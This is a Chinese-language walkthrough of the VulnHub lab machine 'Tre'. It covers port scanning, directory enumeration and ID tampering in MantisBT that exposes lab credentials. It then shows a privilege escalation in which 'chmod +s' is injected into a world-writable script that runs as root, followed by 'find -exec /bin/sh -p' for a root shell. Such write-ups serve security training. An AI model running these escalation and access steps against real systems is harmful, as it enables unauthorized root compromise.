链接

https://www.vulnhub.com/entry/tre-1,483/

描述

- Machine Name: Tre
- Author: SunCSR Team
- Difficulty: Intermediate
- Tested: VMware Workstation 15.x Pro (This works better with VMware rather than VirtualBox)
- DHCP: Enabled
- Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).
- Information: Your feedback is appreciated - Email: suncsr.challenges@gmail.com

信息

https://www.exploit-db.com/exploits/41890

```
~ >>> sudo nmap -A -p 1-65535   192.168.81.139


Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-04 21:00 CST
Nmap scan report for 192.168.81.139
Host is up (0.00024s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
|   256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
|_  256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Tre
8082/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Tre
MAC Address: 00:0C:29:CA:3F:AC (VMware)
No exact OS matches for host (If you know what OS is running on it, see
https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/4%OT=22%CT=1%CU=40780%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM
OS:=5ED8F07A%P=x86_64-unknown-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%
OS:II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11N
```

```
OS:W7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE8
OS:8%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40
OS:%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%
OS:DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.25 ms 192.168.81.139

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.29 seconds
```

```
~ >>> gobuster dir -u http://192.168.81.139  -w /usr/share/dirb/wordlists/big.txt


===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:            http://192.168.81.139
[+] Method:         GET
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.1.0
[+] Timeout:        10s
===============================================================
2020/06/04 21:01:41 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cms (Status: 301)
/mantisbt (Status: 301)
/server-status (Status: 403)
/system (Status: 401)
```

http://192.168.81.139/mantisbt/verify.php?id=2&confirm_hash=

修改ID可以的到如下信息

usert.txt

```
administrator  XiBejMub
tre             Tr3@123456A!
```

password:

```
123qwe
```

ssh 可以进入tre

读配置文件拿到mysql密码

```
# --- Database Configuration ---
$g_hostname      = 'localhost';
$g_db_username   = 'mantissuser';
$g_db_password   = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type       = 'mysqli';
```

sudo -l

发现可以shutdown

pspy发现有如下进程：

```
2020/06/04 12:41:07 CMD: UID=0    PID=7677   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:08 CMD: UID=0    PID=7678   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:09 CMD: UID=0    PID=7679   |
2020/06/04 12:41:10 CMD: UID=0    PID=7680   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:11 CMD: UID=0    PID=7681   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:12 CMD: UID=0    PID=7682   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:13 CMD: UID=0    PID=7683   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:14 CMD: UID=0    PID=7684   | /bin/bash /usr/bin/check-system
2020/06/04 12:41:15 CMD: UID=0    PID=7685   | /bin/bash /usr/bin/check-system
```

uid=0代表为root

```
tre@tre:~$ ls /usr/bin/check-system -al
-rw----rw- 1 root root 135 May 12 04:08 /usr/bin/check-system
tre@tre:~$
```

https://gtfobins.github.io/

在这里找一些可以suid的命令

```
sudo sh -c 'cp $(which nano) .; chmod +s ./nano'

./nano
^R^X
reset; sh 1>&0 2>&0
```

我们使用nano

编辑check-system

```
  GNU nano 3.2                /usr/bin/check-system                 Modified

DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info
chmod +s /usr/bin/nano
while :
do
echo "Checking...";
sleep 1;
done
```

重启

```
sudo /sbin/shutdown -r now
```

再次登录

查看nano

```
tre@tre:~$ ls -al /usr/bin/nano
-rwsr-sr-x 1 root root 246160 Jun 11  2019 /usr/bin/nano
```

执行命令获得shell

```
tre@tre:~$
tre@tre:~$ ./find . -exec /bin/sh -p \; -quit
-bash: ./find: No such file or directory
tre@tre:~$ find . -exec /bin/sh -p \; -quit
#
# cat root.txt
{SunCSR_Tr3_Viet_Nam_2020}
```